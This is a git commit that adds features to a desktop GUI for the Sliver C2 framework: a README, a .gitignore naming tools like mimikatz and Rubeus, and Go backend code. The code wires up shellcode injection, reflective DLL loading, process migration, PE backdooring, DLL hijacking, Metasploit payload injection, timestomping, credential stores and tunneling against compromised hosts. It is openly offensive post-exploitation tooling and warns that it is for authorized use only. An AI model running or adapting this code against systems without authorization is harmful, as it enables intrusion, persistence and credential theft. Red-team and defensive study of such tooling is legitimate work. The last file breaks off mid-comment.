Full operator console: interactive graph, per-agent + server consoles, tunneling, tokens, execution, extensions/BOFs, integrity checks, loot/creds/hosts/websites/canaries

This commit is contained in:
Raj Kumar Mullapudi
2026-07-09 10:27:16 -04:00
parent 3ce6c3685d
commit 1c83c9aa5b
22 changed files with 1558 additions and 1936 deletions
Executable
+51
View File
@@ -0,0 +1,51 @@
# ── Build output ─────────────────────────────────────────────
build/bin/
build/*.o
*.exe
*.dll
*.so
*.dylib
# Wails generated bindings/dev artifacts
frontend/wailsjs/
frontend/dist/wailsjs/
node_modules/
# ── Operator credentials — NEVER commit these ────────────────
# Sliver operator config files contain live mTLS keys + auth tokens.
*.cfg
*.pem
*.key
*.p12
operators/
configs/
# ── Downloaded loot / implants / dumps ───────────────────────
# Avoid committing anything pulled off a target or generated.
*.dmp
*.bin
loot/
implants/
downloads/
# Generated Sliver implants (our GUI names them <goos>-<goarch>-<id>[.exe],
# which also catches extension-less Linux ELF implants).
*-amd64-*
*-386-*
*-arm64-*
# Common offensive tool binaries you may have staged locally.
mimikatz*
Rubeus*
GodPotato*
nanodump*
# ── Go ───────────────────────────────────────────────────────
vendor/
*.test
*.out
# ── Editor / OS cruft ────────────────────────────────────────
.idea/
.vscode/
*.swp
.DS_Store
Thumbs.db
+206 -65
View File
@@ -1,31 +1,132 @@
# Sliver GUI
A desktop operator console for [Sliver C2](https://github.com/BishopFox/sliver),
in the spirit of Cobalt Strike / Havoc's GUIs. It does **not** reimplement any
C2 protocol logic it's a thin Wails (Go + web) frontend over Sliver's
existing `rpcpb.SliverRPC` gRPC service, using the same mTLS operator config
files the official `sliver-client` uses.
**A desktop operator console for [Sliver C2](https://github.com/BishopFox/sliver) GUI developed by [Raj Kumar Mullapudi](#author--credits).**
In the spirit of Cobalt Strike / Havoc's GUIs. It does **not** reimplement any
C2 protocol logic it's a thin [Wails v2](https://wails.io) (Go + plain
HTML/CSS/JS) frontend over Sliver's existing `rpcpb.SliverRPC` gRPC service,
using the same mTLS operator config files the official `sliver-client` uses.
> This project is the **GUI layer only**. The Sliver C2 framework it drives is a
> separate project by BishopFox all C2 capability comes from Sliver; this repo
> contributes the desktop operator interface on top of it.
> ⚠️ **Authorized use only.** This is an offensive-security tool. Use it solely
> on systems you own or have **explicit written permission** to test. You are
> responsible for complying with all applicable laws.
---
## Screenshots
<img width="1912" height="837" alt="1" src="https://github.com/user-attachments/assets/34de2c40-85d6-4d5f-b985-80f9d335e93d" />
<br><br>
<img width="1912" height="842" alt="2" src="https://github.com/user-attachments/assets/11b4ffbd-5451-402d-b7b2-1c7ca40a4f37" />
<br><br>
<img width="1907" height="826" alt="3" src="https://github.com/user-attachments/assets/7d5ae20f-0d29-415a-879c-e468fc60e7a0" />
<br><br>
<img width="1907" height="832" alt="4" src="https://github.com/user-attachments/assets/1cbe4e8c-a261-49cd-8882-b5988b664928" />
<br><br>
<img width="1904" height="837" alt="5" src="https://github.com/user-attachments/assets/86f36f9e-3bbe-4f9a-a436-7d6d38ed49c4" />
<br><br>
<img width="1910" height="830" alt="6" src="https://github.com/user-attachments/assets/c15aa69d-7a46-4320-ba9f-8de90084cad5" />
> Screenshots reflect the current interactive graph, per-agent + server consoles,
> and management panels.
---
## Features
**Connection**
- Connect with a Sliver operator `.cfg` file (mTLS cert + token the same
credential the official client uses; no username/password).
- Live event stream (session/beacon/job events) with toast notifications.
- Auto-reconnect with a countdown overlay if the teamserver drops.
**Agent overview**
- Combined **sessions + beacons** table (type, host, user, OS/arch, PID,
transport, last check-in, status).
- Interactive **graph view** drag nodes, pan, scroll to zoom, straight edges,
OS icons (Windows/Linux, privileged vs. user), privileged agents highlighted,
dead agents greyed out. Double-click a node to interact.
- Right-click menu: Interact / Rename / Kill.
**Per-agent console** (double-click an agent)
- Sessions run commands in real time; beacons queue commands and poll for
results on the next check-in.
- Native RPC-backed commands (no shell spawned unless you ask):
`ps · ls · cd · pwd · cat · mkdir · rm · mv · cp · chmod · chown · download ·
upload · screenshot · netstat · ifconfig · env · getenv · setenv · unsetenv ·
reg · whoami · getprivs · getpid · procdump · kill · chtimes · execute ·
execute-assembly · execute-shellcode · sideload · spawndll · getsystem ·
make-token · impersonate · rev2self · runas · migrate · backdoor · dllhijack ·
msf · msf-inject · extensions · ext · socks · portfwd · rportfwd · wg-portfwd ·
wg-socks · pivot · services · loot · shell`
- **Extensions / BOFs:** `extensions` lists installed + loaded extensions;
`ext <command> [args]` loads and runs an extension or BOF (e.g. `ext sa-whoami`,
`ext nanodump ...`). Reads manifests from `~/.sliver-client/extensions`, packs
BOF arguments via Sliver's own `core.BOFArgsBuffer`, and routes BOFs through
their coff-loader dependency — same flow as the official client.
- Beacon-only: `tasks`, `reconfig <interval> <jitter>` (change check-in speed
live), `interactive` (promote a beacon to a session).
- `shell <cmd>` and unrecognized input run in the target's OS shell.
- Type `help` in any console for the full list.
**Server console** (pinned tab)
- A `sliver >` prompt for teamserver commands:
`sessions · beacons · jobs [kill <id>] · operators · loot · hosts · creds ·
builds · regenerate <name> · profiles · c2profiles · websites · canaries ·
stager · use <id> · rename · kill-session/kill-beacon · version ·
mtls/http/https/dns/wg <…>`.
**Panels**
- **Listeners** start/stop mTLS, HTTP, HTTPS, DNS (and WireGuard) listeners.
- **Generate** build implants; pick an active listener to auto-fill the C2 URL;
session or beacon mode; saves the binary via a native dialog.
- **Builds** list and delete previous implant builds.
- **Profiles** create / delete implant profiles and generate from them.
- **Loot** shared loot store: `loot add <file>` from a session, download or
delete items from the panel.
- **Creds** shared credential store: add / list / delete captured credentials.
- **Hosts** the teamserver's host database (seen hosts, OS, first contact).
- **Operators** who's connected.
- **Event Log** full activity history (pinned in the console by default).
**Quality-of-life**
- Per-agent **operator notes** (in-memory, cleared on disconnect).
- **Command palette** `Ctrl+K` to jump to any agent or panel.
- **On-demand integrity check** right-click a session → *Check Integrity* runs
`getprivs` and repaints the node/table by its real level (SYSTEM / High /
Medium), instead of guessing from the username.
- Privilege-aware graph: SYSTEM/admin agents get red edges + a `★ LEVEL` badge;
beacons are dashed blue; dead agents use a distinct dead icon.
---
## Why Wails, not Electron
Sliver itself is written in Go and ships a reusable client package
(`github.com/bishopfox/sliver/client` + `protobuf/{clientpb,rpcpb,sliverpb}`).
Wails lets the Go backend import those packages directly and call the real
generated gRPC stubs no grpc-web proxy, no reimplementing the protocol in
JS, and no drift when upstream changes their `.proto` files.
Sliver is written in Go and ships reusable client packages
(`github.com/bishopfox/sliver/protobuf/{clientpb,rpcpb,sliverpb}`). Wails lets
the Go backend import those directly and call the real generated gRPC stubs
no grpc-web proxy, no reimplementing the protocol in JS, and no drift when
upstream changes their `.proto` files.
## Project layout
```
sliver-gui/
├── main.go # Wails entrypoint
├── app.go # Bound methods exposed to the frontend
├── main.go # Wails entrypoint
├── app.go # Bound methods exposed to the frontend
├── internal/sliverclient/
│ └── client.go # mTLS connection + RPC helpers
├── frontend/dist/ # Plain HTML/CSS/JS UI (no bundler required)
│ ├── index.html
│ ├── style.css
│ └── main.js
│ └── client.go # mTLS connection + RPC helpers
├── frontend/
│ ├── dist/ # Plain HTML/CSS/JS UI (no bundler)
│ │ ├── index.html
│ │ ├── style.css
│ │ ├── main.js
│ │ └── icons/ # Node icons (embedded in the build)
│ └── icons/ # Source icons (copy into dist/ before building)
├── go.mod
└── wails.json
```
@@ -33,69 +134,109 @@ sliver-gui/
## Prerequisites
- Go 1.22+
- [Wails v2 CLI](https://wails.io/docs/gettingstarted/installation): `go install github.com/wailsapp/wails/v2/cmd/wails@latest`
- A Sliver teamserver you have an operator account on, and its `.cfg` file
(generate one server-side: `sliver-server operator --name <you> --lhost <teamserver> --save <you>.cfg`)
- [Wails v2 CLI](https://wails.io/docs/gettingstarted/installation):
`go install github.com/wailsapp/wails/v2/cmd/wails@latest`
- Linux WebKit build deps (Debian/Kali/Ubuntu):
`sudo apt install libgtk-3-dev libwebkit2gtk-4.1-dev build-essential pkg-config`
- A Sliver teamserver you have an operator account on, and its `.cfg` file:
```
sliver-server operator --name <you> --lhost <teamserver> --save <you>.cfg
```
## Getting the dependencies
## Build & run
This scaffold was built in a sandboxed environment without access to the Go
module proxy, so `go.sum` isn't included yet. On a machine with normal
internet access:
Fetch dependencies (needs internet the first time):
```bash
cd sliver-gui
go mod tidy # pulls bishopfox/sliver, wails/v2, grpc, etc.
go mod tidy
```
## Running in dev mode
Make sure the icons are in the embedded frontend, then build (Linux uses the
WebKit 4.1 build tag):
```bash
wails dev
cp -r frontend/icons frontend/dist/icons # first build only
wails build -tags webkit2_41
./build/bin/sliver-gui
```
## Building a release binary
Dev mode (hot reload):
```bash
wails build
wails dev -tags webkit2_41
```
## Screenshots
<img width="1912" height="837" alt="1" src="https://github.com/user-attachments/assets/34de2c40-85d6-4d5f-b985-80f9d335e93d" />
<br>
<br />
<img width="1912" height="842" alt="2" src="https://github.com/user-attachments/assets/11b4ffbd-5451-402d-b7b2-1c7ca40a4f37" />
<br>
<br />
<img width="1907" height="826" alt="3" src="https://github.com/user-attachments/assets/7d5ae20f-0d29-415a-879c-e468fc60e7a0" />
<br>
<br />
<img width="1907" height="832" alt="4" src="https://github.com/user-attachments/assets/1cbe4e8c-a261-49cd-8882-b5988b664928" />
<br>
<br />
<img width="1904" height="837" alt="5" src="https://github.com/user-attachments/assets/86f36f9e-3bbe-4f9a-a436-7d6d38ed49c4" />
<br>
<br />
<img width="1910" height="830" alt="6" src="https://github.com/user-attachments/assets/c15aa69d-7a46-4320-ba9f-8de90084cad5" />
> On systems with WebKit 4.0 instead of 4.1, drop `-tags webkit2_41`.
## Current feature scope (v1)
## Usage
- Connect via operator `.cfg` (mTLS, reuses Sliver's existing auth — no
custom auth system built here)
- Session table (host / user / OS / transport / status), auto-refreshing
- Session rename
- Implant generation (GOOS/GOARCH/format/C2 URL → build)
- Saved HTTP(S) C2 profile listing
- Connected operator presence list
1. Launch the app, click **Select operator .cfg**, choose your `.cfg`, then
**Connect**.
2. Start a listener (**Listeners** panel or `mtls 8443` in the Server console).
3. **Generate** an implant pick your listener from the *From Listener*
dropdown so the C2 URL is filled correctly (point it at a **C2 listener
port**, not the teamserver's operator port).
4. Run the implant on the target; the session/beacon appears in the table/graph.
5. Double-click it to open a console, or `use <id-prefix>` in the Server console.
## Not yet built (next steps)
## Notes & known behaviors
- Interactive session console (shell/task streaming) needs a tabbed
terminal view wired to session-scoped RPCs
- File browser / process list per session
- Loot browser
- C2 profile *editor* (currently read-only listing)
- Real-time event stream (new session / operator join) via Sliver's
streaming RPCs instead of polling
- Implant build log streaming (`BuilderRegister`/`BuilderTrigger`) for
remote/offline builders
- **Sessions vs. beacons:** sessions are real-time; beacons only respond on
their check-in interval (interval ± jitter), so beacon output is delayed by
design. Use a shorter interval or a session for interactive work.
- **`getsystem <profile>`** builds a fresh implant from a saved profile, so the
profile must be a complete, buildable config. Profiles created with older
versions may fail delete and recreate them.
- **Symbol obfuscation** is disabled for generated implants so builds work on a
stock teamserver (garble isn't required).
- Built and tested against **Sliver v1.7.x**. Other versions may have different
protobuf field names.
## Architecture (for contributors)
- Every backend capability is an exported method on the `App` struct in
`app.go`; Wails auto-binds them to `window.go.main.App.*` in JS.
- All session-scoped RPCs use `&commonpb.Request{SessionID: ...}`; beacon tasks
use `BeaconID` + `Async` and are polled via `GetBeaconTasks` /
`GetBeaconTaskContent`.
- SOCKS5 / port-forward open a local TCP listener and relay bytes over the
respective streaming RPC.
- The frontend is dependency-free plain JS in `frontend/dist/` (no npm/bundler).
## Author & Credits
- **GUI (this project) designed and developed by [Raj Kumar Mullapudi](mailto:in4inci3le001@gmail.com).**
This includes the entire Wails backend (`app.go`, `internal/sliverclient`),
the plain-JS/HTML/CSS frontend (interactive graph, per-agent console, server
console, panels, command palette, operator notes), and all RPC wiring.
- **Sliver C2 framework by [BishopFox](https://github.com/BishopFox/sliver).**
All command-and-control capability comes from Sliver; this project is a client
interface for it and does not modify or redistribute the framework itself.
- **[Wails](https://wails.io)** the Go + web desktop framework this is built on.
## Roadmap
Implemented: sessions/beacons, interactive graph, per-agent + server consoles,
full filesystem/process/network/registry/token/execution command sets,
tunneling (socks/portfwd/rportfwd/pivots/wireguard), listeners, generation,
profiles, builds, loot, creds, hosts, websites, canaries, stager listeners,
**extensions/BOFs**, operator notes, command palette, and on-demand integrity
checks.
Not yet built (contributions welcome):
- Armory package **install** (download/verify extensions from the armory repos;
extension *loading/running* is already implemented)
- `crack` (hashcat cluster) · `cursed` (Chrome/Electron injection) · `wasm` extensions
- HTTP C2 profile **editor** (currently read-only listing)
- External/offline builder log streaming (`BuilderRegister`/`BuilderTrigger`)
- Certificate management panel
## License
This project links against [BishopFox/sliver](https://github.com/BishopFox/sliver),
which is licensed under the **GNU General Public License v3.0**. As a derivative
work, this project (the GUI) is distributed under the **same GPLv3 license**.
See the `LICENSE` file.
Copyright (C) 2026 Raj Kumar Mullapudi (GUI frontend). Sliver C2 is
Copyright (C) BishopFox.
+578 -28
View File
@@ -1016,6 +1016,561 @@ func (a *App) DownloadFileTo(sessionID, remotePath, localPath string) TransferRe
return TransferResult{Path: localPath, Bytes: int64(len(data))}
}
// ─── Advanced execution / privilege (session) ───────────────────────────────────
// RunAs runs a program as another user (Windows).
func (a *App) RunAs(sessionID, username, domain, password, program, args string) (string, error) {
client, err := a.requireClient()
if err != nil {
return "", err
}
resp, err := client.RPC.RunAs(a.ctx, &sliverpb.RunAsReq{
Username: username,
Domain: domain,
Password: password,
ProcessName: program,
Args: args,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return "", err
}
return resp.Output, nil
}
// Migrate injects the implant into another process (pid), building the payload
// from a saved implant profile's config.
func (a *App) Migrate(sessionID string, pid uint32, profileName string) error {
client, err := a.requireClient()
if err != nil {
return err
}
cfg, err := a.profileConfig(profileName)
if err != nil {
return err
}
_, err = client.RPC.Migrate(a.ctx, &clientpb.MigrateReq{
Pid: pid,
Config: cfg,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// profileConfig fetches a saved implant profile's config by name.
func (a *App) profileConfig(name string) (*clientpb.ImplantConfig, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
profiles, err := client.RPC.ImplantProfiles(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
for _, p := range profiles.Profiles {
if p.Name == name {
if p.Config == nil {
return nil, fmt.Errorf("profile %q has no config", name)
}
// getsystem/migrate inject SHELLCODE into a process, so rebuild a
// fresh, complete config from the profile's core params with the
// format forced to shellcode. This avoids stale/partial fields from
// the DB round-trip that can produce invalid generated source.
req := GenerateRequest{
GOOS: p.Config.GOOS,
GOARCH: p.Config.GOARCH,
Format: "shellcode",
Debug: p.Config.Debug,
}
if len(p.Config.C2) > 0 {
req.C2URL = p.Config.C2[0].URL
}
if req.C2URL == "" {
return nil, fmt.Errorf("profile %q has no C2 URL", name)
}
return a.buildImplantConfig(req), nil
}
}
return nil, fmt.Errorf("implant profile %q not found — create one in the Profiles panel first", name)
}
// ExecuteShellcode injects shellcode (opened via a native dialog) into a process.
// pid 0 = the implant's own process.
func (a *App) ExecuteShellcode(sessionID, localPath string, pid uint32) AssemblyResult {
client, err := a.requireClient()
if err != nil {
return AssemblyResult{Error: err.Error()}
}
data, err := a.readLocalOrDialog(localPath, "Select shellcode (.bin)")
if err != nil {
return AssemblyResult{Error: err.Error()}
}
_, err = client.RPC.Task(a.ctx, &sliverpb.TaskReq{
Data: data,
Pid: pid,
RWXPages: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return AssemblyResult{Error: err.Error()}
}
return AssemblyResult{Output: "[+] shellcode injected"}
}
// SpawnDll reflectively loads a DLL (opened via a native dialog) into a process.
func (a *App) SpawnDll(sessionID, localPath, args, entryPoint string) AssemblyResult {
client, err := a.requireClient()
if err != nil {
return AssemblyResult{Error: err.Error()}
}
data, err := a.readLocalOrDialog(localPath, "Select reflective DLL")
if err != nil {
return AssemblyResult{Error: err.Error()}
}
ep := entryPoint
if ep == "" {
ep = "ReflectiveLoader"
}
_, err = client.RPC.SpawnDll(a.ctx, &sliverpb.InvokeSpawnDllReq{
Data: data,
ProcessName: "notepad.exe",
Args: strings.Fields(args),
EntryPoint: ep,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return AssemblyResult{Error: err.Error()}
}
return AssemblyResult{Output: "[+] DLL spawned"}
}
func (a *App) Chmod(sessionID, path, mode string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Chmod(a.ctx, &sliverpb.ChmodReq{
Path: path,
FileMode: mode,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) Chown(sessionID, path, uid, gid string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Chown(a.ctx, &sliverpb.ChownReq{
Path: path,
Uid: uid,
Gid: gid,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// Chtimes timestomps a file — sets access + modified time (unix seconds).
func (a *App) Chtimes(sessionID, path string, atime, mtime int64) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Chtimes(a.ctx, &sliverpb.ChtimesReq{
Path: path,
ATime: atime,
MTime: mtime,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── Reverse port forwarding (session) ──────────────────────────────────────────
type RportFwdView struct {
ID uint32 `json:"id"`
Bind string `json:"bind"`
Forward string `json:"forward"`
}
func (a *App) StartRportFwd(sessionID, bindAddr string, bindPort int, fwdAddr string, fwdPort int) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.StartRportFwdListener(a.ctx, &sliverpb.RportFwdStartListenerReq{
BindAddress: bindAddr,
BindPort: uint32(bindPort),
ForwardAddress: fwdAddr,
ForwardPort: uint32(fwdPort),
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) ListRportFwds(sessionID string) ([]RportFwdView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.GetRportFwdListeners(a.ctx, &sliverpb.RportFwdListenersReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
out := make([]RportFwdView, 0, len(resp.Listeners))
for _, l := range resp.Listeners {
out = append(out, RportFwdView{
ID: l.ID,
Bind: fmt.Sprintf("%s:%d", l.BindAddress, l.BindPort),
Forward: fmt.Sprintf("%s:%d", l.ForwardAddress, l.ForwardPort),
})
}
return out, nil
}
func (a *App) StopRportFwd(sessionID string, id uint32) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.StopRportFwdListener(a.ctx, &sliverpb.RportFwdStopListenerReq{
ID: id,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ReconfigureBeacon changes a live beacon's check-in interval/jitter (seconds).
// Applied on the beacon's next check-in.
func (a *App) ReconfigureBeacon(beaconID string, interval, jitter int64) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Reconfigure(a.ctx, &sliverpb.ReconfigureReq{
BeaconInterval: interval * int64(time.Second),
BeaconJitter: jitter * int64(time.Second),
Request: &commonpb.Request{BeaconID: beaconID, Async: true},
})
return err
}
// InteractiveBeacon asks a beacon to open an interactive session on next check-in.
func (a *App) InteractiveBeacon(beaconID string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.OpenSession(a.ctx, &sliverpb.OpenSession{
Request: &commonpb.Request{BeaconID: beaconID, Async: true},
})
return err
}
// ─── Regenerate / Hosts / Creds (server) ────────────────────────────────────────
// RegenerateBuild re-downloads a previously built implant by name and saves it.
func (a *App) RegenerateBuild(name string) TransferResult {
client, err := a.requireClient()
if err != nil {
return TransferResult{Error: err.Error()}
}
resp, err := client.RPC.Regenerate(a.ctx, &clientpb.RegenerateReq{ImplantName: name})
if err != nil {
return TransferResult{Error: err.Error()}
}
if resp.File == nil {
return TransferResult{Error: "no stored build for " + name}
}
savePath, err := runtime.SaveFileDialog(a.ctx, runtime.SaveDialogOptions{
DefaultFilename: resp.File.Name,
Title: "Save regenerated implant",
})
if err != nil || savePath == "" {
return TransferResult{Error: "save cancelled"}
}
if err := os.WriteFile(savePath, resp.File.Data, 0755); err != nil {
return TransferResult{Error: err.Error()}
}
return TransferResult{Path: savePath, Bytes: int64(len(resp.File.Data))}
}
type HostView struct {
ID string `json:"id"`
Hostname string `json:"hostname"`
OS string `json:"os"`
UUID string `json:"uuid"`
Locale string `json:"locale"`
FirstSeen string `json:"firstSeen"`
}
func (a *App) ListHosts() ([]HostView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.Hosts(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]HostView, 0, len(resp.Hosts))
for _, h := range resp.Hosts {
fs := ""
if h.FirstContact > 0 {
fs = time.Unix(h.FirstContact, 0).Format("2006-01-02 15:04")
}
out = append(out, HostView{ID: h.ID, Hostname: h.Hostname, OS: h.OSVersion, UUID: h.HostUUID, Locale: h.Locale, FirstSeen: fs})
}
return out, nil
}
func (a *App) DeleteHost(hostID string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.HostRm(a.ctx, &clientpb.Host{ID: hostID})
return err
}
type CredView struct {
ID string `json:"id"`
Username string `json:"username"`
Plain string `json:"plaintext"`
Hash string `json:"hash"`
Cracked bool `json:"cracked"`
}
func (a *App) ListCreds() ([]CredView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.Creds(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]CredView, 0, len(resp.Credentials))
for _, c := range resp.Credentials {
out = append(out, CredView{ID: c.ID, Username: c.Username, Plain: c.Plaintext, Hash: c.Hash, Cracked: c.IsCracked})
}
return out, nil
}
func (a *App) AddCred(username, plaintext, hash string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.CredsAdd(a.ctx, &clientpb.Credentials{
Credentials: []*clientpb.Credential{{Username: username, Plaintext: plaintext, Hash: hash}},
})
return err
}
func (a *App) DeleteCred(id string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.CredsRm(a.ctx, &clientpb.Credentials{
Credentials: []*clientpb.Credential{{ID: id}},
})
return err
}
// ─── Websites / Canaries (server) ───────────────────────────────────────────────
type WebsiteView struct {
ID string `json:"id"`
Name string `json:"name"`
Paths int `json:"paths"`
}
func (a *App) ListWebsites() ([]WebsiteView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.Websites(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]WebsiteView, 0, len(resp.Websites))
for _, w := range resp.Websites {
out = append(out, WebsiteView{ID: w.ID, Name: w.Name, Paths: len(w.Contents)})
}
return out, nil
}
func (a *App) RemoveWebsite(name string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.WebsiteRemove(a.ctx, &clientpb.Website{Name: name})
return err
}
type CanaryView struct {
Domain string `json:"domain"`
ImplantName string `json:"implantName"`
Triggered bool `json:"triggered"`
Count uint32 `json:"count"`
Latest string `json:"latest"`
}
func (a *App) ListCanaries() ([]CanaryView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.Canaries(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]CanaryView, 0, len(resp.Canaries))
for _, c := range resp.Canaries {
out = append(out, CanaryView{Domain: c.Domain, ImplantName: c.ImplantName, Triggered: c.Triggered, Count: c.Count, Latest: c.LatestTrigger})
}
return out, nil
}
// StartStagerListener starts a TCP stager listener that serves a stage built
// from a saved implant profile.
func (a *App) StartStagerListener(host string, port uint32, profileName string) (uint32, error) {
client, err := a.requireClient()
if err != nil {
return 0, err
}
resp, err := client.RPC.StartTCPStagerListener(a.ctx, &clientpb.StagerListenerReq{
Host: host,
Port: port,
ProfileName: profileName,
})
if err != nil {
return 0, err
}
return resp.JobID, nil
}
// ─── Post-exploitation: backdoor / dllhijack / msf (session) ─────────────────────
// Backdoor injects an implant (from a profile) into an existing PE on the target.
func (a *App) Backdoor(sessionID, remoteFilePath, profileName string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Backdoor(a.ctx, &clientpb.BackdoorReq{
FilePath: remoteFilePath,
ProfileName: profileName,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// DllHijack plants a hijacking DLL at TargetLocation, cloning exports from a
// reference DLL and embedding an implant (from a profile).
func (a *App) DllHijack(sessionID, referenceDLLPath, targetLocation, profileName string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.HijackDLL(a.ctx, &clientpb.DllHijackReq{
ReferenceDLLPath: referenceDLLPath,
TargetLocation: targetLocation,
ProfileName: profileName,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// MsfInject runs a Metasploit payload in the session's own process.
func (a *App) MsfInject(sessionID, payload, lhost string, lport uint32) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Msf(a.ctx, &clientpb.MSFReq{
Payload: payload,
LHost: lhost,
LPort: lport,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// MsfRemoteInject runs a Metasploit payload injected into another process (pid).
func (a *App) MsfRemoteInject(sessionID, payload, lhost string, lport, pid uint32) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.MsfRemote(a.ctx, &clientpb.MSFRemoteReq{
Payload: payload,
LHost: lhost,
LPort: lport,
PID: pid,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── WireGuard tunneling (session, WG implants) ─────────────────────────────────
func (a *App) WGStartPortForward(sessionID string, localPort int, remoteAddr string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.WGStartPortForward(a.ctx, &sliverpb.WGPortForwardStartReq{
LocalPort: int32(localPort),
RemoteAddress: remoteAddr,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) WGStopPortForward(sessionID string, id int) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.WGStopPortForward(a.ctx, &sliverpb.WGPortForwardStopReq{
ID: int32(id),
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) WGStartSocks(sessionID string, port int) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.WGStartSocks(a.ctx, &sliverpb.WGSocksStartReq{
Port: int32(port),
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) WGStopSocks(sessionID string, id int) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.WGStopSocks(a.ctx, &sliverpb.WGSocksStopReq{
ID: int32(id),
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── Loot ────────────────────────────────────────────────────────────────────
type LootView struct {
@@ -1932,20 +2487,10 @@ func (a *App) GetSystem(sessionID, hostingProcess, profileName string) error {
if err != nil {
return err
}
profiles, err := client.RPC.ImplantProfiles(a.ctx, &commonpb.Empty{})
cfg, err := a.profileConfig(profileName)
if err != nil {
return err
}
var cfg *clientpb.ImplantConfig
for _, p := range profiles.Profiles {
if p.Name == profileName {
cfg = p.Config
break
}
}
if cfg == nil {
return fmt.Errorf("implant profile %q not found — create one in the Profiles panel first", profileName)
}
if hostingProcess == "" {
hostingProcess = "spoolsv.exe"
}
@@ -1966,19 +2511,30 @@ type AssemblyResult struct {
// ExecuteAssembly runs a .NET assembly in-memory. Opens a native file picker for
// the assembly bytes.
func (a *App) ExecuteAssembly(sessionID, args string) AssemblyResult {
// readLocalOrDialog reads a local file on the operator machine. If localPath is
// empty it opens a native file-open dialog instead. Lets console commands pass
// an explicit path (execute-assembly <path>) or fall back to a picker.
func (a *App) readLocalOrDialog(localPath, title string) ([]byte, error) {
if localPath == "" {
p, err := runtime.OpenFileDialog(a.ctx, runtime.OpenDialogOptions{Title: title})
if err != nil || p == "" {
return nil, fmt.Errorf("selection cancelled")
}
localPath = p
}
data, err := os.ReadFile(localPath)
if err != nil {
return nil, fmt.Errorf("read local file: %w", err)
}
return data, nil
}
func (a *App) ExecuteAssembly(sessionID, localPath, args string) AssemblyResult {
client, err := a.requireClient()
if err != nil {
return AssemblyResult{Error: err.Error()}
}
localPath, err := runtime.OpenFileDialog(a.ctx, runtime.OpenDialogOptions{
Title: "Select .NET assembly (.exe)",
Filters: []runtime.FileFilter{{DisplayName: ".NET assembly (*.exe)", Pattern: "*.exe"}},
})
if err != nil || localPath == "" {
return AssemblyResult{Error: "selection cancelled"}
}
data, err := os.ReadFile(localPath)
data, err := a.readLocalOrDialog(localPath, "Select .NET assembly (.exe)")
if err != nil {
return AssemblyResult{Error: err.Error()}
}
@@ -1995,18 +2551,12 @@ func (a *App) ExecuteAssembly(sessionID, args string) AssemblyResult {
}
// Sideload loads and runs a shared library / DLL in a sacrificial process.
func (a *App) Sideload(sessionID, args, entryPoint string) AssemblyResult {
func (a *App) Sideload(sessionID, localPath, args, entryPoint string) AssemblyResult {
client, err := a.requireClient()
if err != nil {
return AssemblyResult{Error: err.Error()}
}
localPath, err := runtime.OpenFileDialog(a.ctx, runtime.OpenDialogOptions{
Title: "Select DLL / shared library to sideload",
})
if err != nil || localPath == "" {
return AssemblyResult{Error: "selection cancelled"}
}
data, err := os.ReadFile(localPath)
data, err := a.readLocalOrDialog(localPath, "Select DLL / shared library to sideload")
if err != nil {
return AssemblyResult{Error: err.Error()}
}
Executable
+417
View File
@@ -0,0 +1,417 @@
package main
/*
Extension / BOF support.
Mirrors the load+call flow from Sliver's own client
(client/command/extensions): parse an extension.json manifest, register the
target binary with the implant, pack typed arguments into a BOF buffer, and
CallExtension. For BOFs (.o files) the coff-loader dependency is registered
